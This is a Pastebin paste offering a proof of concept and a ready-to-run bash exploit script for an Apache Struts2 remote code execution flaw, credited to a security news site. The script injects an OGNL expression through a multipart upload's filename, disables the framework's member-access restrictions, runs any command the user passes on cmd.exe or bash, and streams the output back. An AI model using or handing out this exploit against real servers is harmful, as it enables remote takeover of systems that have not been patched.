TPC09

Apache Struts2 Remote Code Execution Vulnerability Exploit

Mar 23rd, 2017
391
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Proof of Concept:
  2. OST /doUpload.action HTTP/1.1
  3. Host: localhost:8080
  4. Content-Length: 10000000
  5. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAnmUgTEhFhOZpr9z
  6. Connection: close
  7.  
  8. ------WebKitFormBoundaryAnmUgTEhFhOZpr9z
  9. Content-Disposition: form-data; name="upload"; filename="%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Kaboom')}"
  10. Content-Type: text/plain
  11. Kaboom
  12.  
  13. ------WebKitFormBoundaryAnmUgTEhFhOZpr9z--
  14.  
  15.  
  16. Exploit:
  17. #!/bin/bash
  18. url=$1
  19. cmd=$2
  20. shift
  21. shift
  22. boundary="---------------------------735323031399963166993862150"
  23. content_type="multipart/form-data; boundary=$boundary"
  24. payload=$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}")
  25. printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@
  26.  
  27.  
  28. Copyright:
  29. This paste is for GBHackers on Security Website = https://gbhackers.com
  30. Provided by Tahar Amine | TheBlaCkCoDeR = https://about.me/TheBlaCkCoDeR
  31. Thanks!
RAW Paste Data